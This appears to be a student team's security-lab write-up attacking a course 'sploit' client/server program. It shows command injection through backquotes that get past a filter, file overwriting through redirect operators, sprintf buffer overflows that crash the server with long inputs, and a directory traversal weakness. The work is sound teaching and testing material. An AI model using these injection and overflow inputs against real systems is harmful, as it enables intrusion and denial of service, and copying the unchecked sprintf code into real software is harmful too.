Team 4

Command Injection

- Using echo command. Only | and ; are filtered to check for multiple commands. We can use backquotes.

```
echo `uname -a`
Linux mc02.cs.purdue.edu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15
UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

```

- Using ping command. The redirect operators are not filtered. We can use this to overwrite writable files.

```
ping google.com>vulnerable_file
ls
total 10480
-rwxr-x--- 1 njaganna njaganna 5309312 Mar 25 08:59 client
drwxrwxr-x 2 njaganna njaganna    4096 Mar 14 19:49 include
-rw-rw-r-- 1 njaganna njaganna    2440 Mar 14 19:49 Makefile
drwxr-x--- 6 njaganna njaganna    4096 Mar 25 08:59 obj
-rwxr-x--- 1 njaganna njaganna 5391136 Mar 25 08:59 server
-rw-r----- 1 njaganna njaganna     385 Mar 25 08:58 sploit.conf
drwxrwxr-x 6 njaganna njaganna    4096 Mar 14 19:49 src
-rw-r----- 1 njaganna njaganna     286 Mar 25 09:49 vulnerable_file
```

Buffer Overflow

- The ping command is constructed using a buffer of size 128. We can overflow this by giving a hostname which exceeds the size.

```
char pingcmd[128];
sprintf(pingcmd, "ping %s", host.c_str());

Client:
ping first
ping
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA

Server:
ping: unknown host first
Segmentation fault (core dumped)
mc02 60 $
```

- Any misc command is constructed by using a buffer of size 128. First it changes directory and then executes command. So if we give a long parameter for the alias command, the server crashes as we overflow the return address.

```
char c_cmd[128];
sprintf(c_cmd, "cd %s && %s",
        getSession().getCurrentDir().c_str(),
        _cmd.c_str());

Client:
echo
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA
AAAAAAA

Server:
mc02 60 $ ./server
Sploit Server Starting...
Segmentation fault (core dumped)
mc02 61 $
```

Directory traversal

- There is no check of directory traversal as there are no directories being created.
- Hence the cofig file can be modified using the put command. This allows for command injection